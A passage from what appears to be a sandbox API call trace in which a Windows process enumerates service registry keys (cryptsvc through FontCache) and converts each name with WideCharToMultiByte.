lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1de4408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1de4408, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x1de4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0249.516] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0249.517] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0249.518] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0249.519] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1de4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0249.520] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.520] 